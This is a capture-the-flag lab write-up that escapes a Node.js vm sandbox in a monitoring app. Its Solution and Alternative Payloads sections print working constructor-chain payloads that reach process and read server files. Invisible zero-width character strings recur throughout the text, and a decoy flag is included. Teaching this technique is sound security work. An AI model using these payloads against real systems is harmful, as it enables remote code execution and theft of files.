← Back to Writeups
CUSTOMMediumWeb

Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape

XESXOR9/2/20264 min read
#web#custom#medium#constructor_chain_traversal#file_read_rce#prototype_pollution#vm_sandbox_escape

Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, file_read_rce, prototype_pollution, vm_sandbox_escape

Summary

Walkthrough of the CUSTOM Web Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape. Task: PulseGuard monitoring platform allows custom JavaScript monitors running in node:vm sandbox. Solution: escape vm sandbox via constructor chain traversal to access process.mainModule.require('fs'

Description

PulseGuard is an infrastructure monitoring platform built by SentinelOps Inc. Teams use it to track uptime of their services, configure automated health checks across HTTP endpoints, ping targets, and custom JavaScript-based monitors. The platform supports real-time alerting through email and webhook channels, incident tracking and resolution, and team collaboration.

Your organization has deployed PulseGuard to monitor critical infrastructure. As part of a security assessment, you need to evaluate whether the platform's custom scripting feature is properly sandboxed.

Your goal is to find and exploit a vulnerability that allows you to read the contents of /root/flag.txt on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PulseGuard is an infrastructure monitoring platform with custom JavaScript monitor support. The goal is to escape the JavaScript sandbox and read /root/flag.txt from the server.

Analysis

Initial Recon

Logged into PulseGuard with provided credentials (user@test.com / password123). The application is an Express.js-based infrastructure monitoring platform.

Feature Discovery

Explored the monitors section and found three monitor types available:

  • HTTP Endpoint — standard HTTP health checks
  • Ping — ICMP ping monitoring
  • Custom JavaScript — user-defined JavaScript code execution (key vulnerability!) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

The "Custom JavaScript" monitor type allows users to write JavaScript code that runs in a "sandboxed environment with a 5 second timeout." The hint in the challenge title mentions "node:vm Sandbox Escape".

Critical insight: Node.js vm module is NOT a security sandbox. From the official Node.js documentation:

"The vm module is not a security mechanism. Do not use it to run untrusted code."

The vm module creates a new V8 context but shares the same JavaScript engine. Objects passed into the sandbox maintain their prototype chain to the main context. By traversing the constructor chain, we can escape back to the main context and access Node.js globals. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploitation Payload

Created a new monitor with type "script" using the classic vm sandbox escape payload:

javascript
const process = this.constructor.constructor("return this.process")();
const fs = process.mainModule.require("fs");
const flag = fs.readFileSync("/root/flag.txt", "utf8");
result = { status: "healthy", flag: flag };

Payload Breakdown

  1. this.constructor — gets the Object constructor from the sandbox context
  2. .constructor — gets the Function constructor (since Object is a function)
  3. ("return this.process") — creates a new function that executes in the main context (outside sandbox)
  4. () — calling this function returns the real process object from Node.js
  5. process.mainModule.require("fs") — loads the filesystem module from the main context
  6. fs.readFileSync("/root/flag.txt", "utf8") — reads the flag file ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution

Triggered the monitor via POST to /monitors/8/run endpoint, which returned the flag in the output:

json
{
  "status": "healthy",
  "flag": "FLAG{REDACTED}"
}

Technical Deep Dive

Why vm Sandbox Escape Works

The Node.js vm module provides a way to run JavaScript code in a separate V8 context. However, it has fundamental limitations:

  1. Shared Prototype Chain — Objects created in the sandbox inherit from constructors in the main context
  2. Constructor Access — Any object's .constructor property leads back to the Function constructor
  3. Function Constructor — The Function constructor can create functions that execute in the global scope
  4. Process Access — Once in the global scope, this.process gives access to Node.js internals ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain Visualization

Sandbox Context                    Main Context
     |                                  |
     v                                  |
this.constructor ─────────────────> Object
     |                                  |
     v                                  |
Object.constructor ───────────────> Function
     |                                  |
     v                                  |
Function("return this.process")() ──> process
     |                                  |
     v                                  |
process.mainModule.require("fs") ──> fs module
     |                                  |
     v                                  |
fs.readFileSync("/root/flag.txt") ─> FLAG

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Payloads

Other common vm escape techniques that would also work:

javascript
// Using arguments.callee.caller
const f = this.constructor.constructor;
const p = f("return process")();
const flag = p.mainModule.require("fs").readFileSync("/root/flag.txt", "utf8");

// Direct prototype access
const proc = (function(){}).constructor("return this")().process;
const flag = proc.mainModule.require("fs").readFileSync("/root/flag.txt", "utf8");

Notes

The challenge included decoy flags in HTML comments:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These are designed to trick automated scanners. Always verify the actual flag from the target file specified in the challenge description. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering constructor_chain_traversal, file_read_rce, prototype_pollution, vm_sandbox_escape was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 54 — PulseGuard — RCE via node:vm Sandbox Escape • Difficulty: Medium